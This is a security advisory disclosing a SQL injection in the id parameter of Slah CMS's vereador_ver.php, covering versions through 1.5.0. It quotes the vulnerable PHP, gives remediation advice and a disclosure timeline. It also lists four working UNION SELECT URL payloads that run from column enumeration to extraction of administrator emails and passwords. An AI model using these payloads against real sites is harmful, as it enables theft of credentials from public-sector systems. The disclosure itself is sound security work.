CVE-2026-30995 - Slah Informática CMS – All Versions Through 1.5.0 (SQL injection)
Published on February 10, 2026

I - Advisory Information

Researcher : João Paulo de Oliveira Exploit Author : João Paulo de Oliveira Contact : contato[at]joaopaulodeoliveira[dot]dev Discovery Date : 2025-09-01 CVE ID : CVE-2026-30995 Risk Level : 9.3 Critical (CVSS v4.0)8.6 High (CVSS v3.1) CVSS v4 Vector : CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:L/SC:H/SI:L/SA:L CVSS v3 Vector : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L CWE Category : CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') CWE Reference : https://cwe.mitre.org/data/definitions/89.html Status : Patched / Public Disclosure

II - Target Software Specifications

Application : Slah CMS Version : All versions through 1.5.0 Platform : PHP Developer : Jhonatan Benetti Vendor : https://www.slah.com.br/ License : Proprietary (Commercial)

III - Executive Summary

A critical SQL Injection vulnerability has been identified in Slah CMS, a software widely deployed in Brazilian governmental infrastructure (.gov.br) for institutional web management. The application fails to sanitize the id parameter in the vereador_ver.php endpoint [line 30] before concatenating it into a dynamic SQL query [line 32]. This flaw allows an unauthenticated remote attacker to inject malicious SQL commands, leading to the unauthorized extraction of the entire database (exfiltration) and threatening the confidentiality of public sector administrative operations.

IV - Technical Source Code Analysis

The vulnerability is located within the data retrieval logic in vereador_ver.php. The application retrieves a record from the database based on a user-supplied identifier without implementing parameterized queries or input filtering.
  1. $id_vereador = $_GET[id];
  2. $sql = "SELECT * FROM vereadores WHERE id='$id_vereador'";
  3. $resultado = mysql_query($sql)
  4. or die ("Não foi possível realizar a consulta...");
  1. Explanation: Regarding the vereador_ver.php snippet above, the code lacks input validation and secure database interaction patterns:
    • Line [30]: The application captures the id parameter directly from the $_GET superglobal without any type casting (e.g., (int)) or sanitization.
    • Line [32]: The unsanitized variable is concatenated directly into the SQL string. This allows an attacker to break the original query context and inject malicious payloads such as UNION SELECT.
    • Line [34-35]: The execution of the manipulated query through mysql_query(), combined with a die() error sink, facilitates the leakage of database schema information and data exfiltration.
    Note on Encoding Artefacts: The presence of HTML entities such as ã on line 35 is likely a result of an encoding mismatch during the file's editing or transfer process. While these artefacts are primarily a display issue, they reflect a lack of modern development standards and environment consistency, which correlates with the absence of security best practices (such as input sanitization) observed in the logic.

V - Proof Of Concept

The following payloads demonstrate the successful exploitation of the SQL Injection vulnerability. By appending a UNION SELECT statement to a valid identifier (e.g., id=53), an unauthenticated attacker can exfiltrate sensitive administrative credentials, which are subsequently reflected in the application's response.
  1. UNION-based SQL Injection – Column Count Enumeration
    https://{target}/vereador_ver.php?id=-53' UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15-- -
  2. Database Table Enumeration via information_schema
    https://{target}/vereador_ver.php?id=-53' UNION SELECT 1,group_concat(table_name SEPARATOR 0x3c62723e),3,4,5,6,7,8,9,10,11,12,13,14,15 FROM information_schema.tables WHERE table_schema=database()-- -
  3. User Table Enumeration
    https://{target}/vereador_ver.php?id=-53' UNION SELECT 1,group_concat(column_name SEPARATOR 0x3c62723e),3,4,5,6,7,8,9,10,11,12,13,14,15 FROM information_schema.columns WHERE table_name='users'-- -
  4. Administrative Credential Exfiltration via SQL Injection
    https://{target}/vereador_ver.php?id=-53' UNION SELECT 1,email,3,4,5,6,password,8,9,10,11,12,13,14,15 FROM users-- -
  1. Technical Evidences:
    SQL Injection
    Figure 1 - Column Count UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15-- -
    SQL Injection
    Figure 2 - Database Schema Enumeration (Tables) UNION SELECT 1,group_concat(table_name SEPARATOR 0x3c62723e),3,4,5,6,7,8,9,10,11,12,13,14,15 FROM information_schema.tables WHERE table_schema=database()-- -
    SQL Injection
    Figure 3 - User Table List UNION SELECT 1,group_concat(column_name SEPARATOR 0x3c62723e),3,4,5,6,7,8,9,10,11,12,13,14,15 FROM information_schema.columns WHERE table_name='users'-- -
    SQL Injection
    Figure 4 - Administrative Credential Exfiltration UNION SELECT 1,email,3,4,5,6,password,8,9,10,11,12,13,14,15 FROM users-- -

DISCLAIMER: Evidence videos have been redacted to obscure target URLs and sensitive parameters to prevent unauthorized exposure and ensure responsible disclosure.

  1. Proof of Concept Video:

    This recording demonstrates the full SQL Injection exploitation chain, from column enumeration to the exfiltration of administrative password hashes:

VI - Exploitation

This script exploits a critical Union-Based SQL Injection in Slah CMS at the vereador_ver.php endpoint. The vulnerability arises from the lack of sanitization of the id parameter, allowing unauthenticated query manipulation. By injecting malicious payloads, a remote attacker can exfiltrate sensitive database records, including administrative credentials and system configurations.
  1. Automated Exploitation Evidence:

    The following demonstration confirms the successful execution of the custom SQLi exploit against the target. The tool automates column count identification and internal filter bypass to perform a full database exfiltration. By manipulating the query structure, it reconstructs sensitive records to provide visual evidence of unauthorized data access:

    SQL Injection
    Figure 5 - Custom exploit menu: this image is intended to provide context for the exploit arguments.
    SQL Injection
    Figure 6 - Custom exploit execution: database enumeration.
    SQL Injection
    Figure 7 - Database Table Enumeration.
    SQL Injection
    Figure 8 - 'user' table column enumeration.
    SQL Injection
    Figure 9 - 'email' and 'password' columns enumeration.
    SQL Injection GIF
    Figure 10 (GIF) - Real-time automated exploitation sequence.

VII - Remediation & Mitigation

  1. Primary solution: update the Slah CMS to the latest patched version available from the vendor.
  2. Technical recommendation (code fix): the application must stop using string concatenation to build SQL queries. The legacy mysql_query function is incapable of separating the SQL command from the user-supplied data.
  3. Secure Implementation: the code should be refactored to use Parameterized Queries. This ensures the database treats the $id_vereador strictly as data (a literal value) and never as part of the executable command.

VIII - Vulnerability Disclosure Timeline

  • 2025-09-01 - Vulnerability identification and internal analysis.
  • 2025-09-02 - Initial contact with the vendor.
  • 2025-09-02 - Vendor acknowledged contact and requested technical details.
  • 2025-09-03 - Detailed vulnerability report and remediation guidance provided.
  • 2026-01-05 - Official patch released by the vendor.
  • 2026-02-10 - CVE ID requested and disclosure process initiated.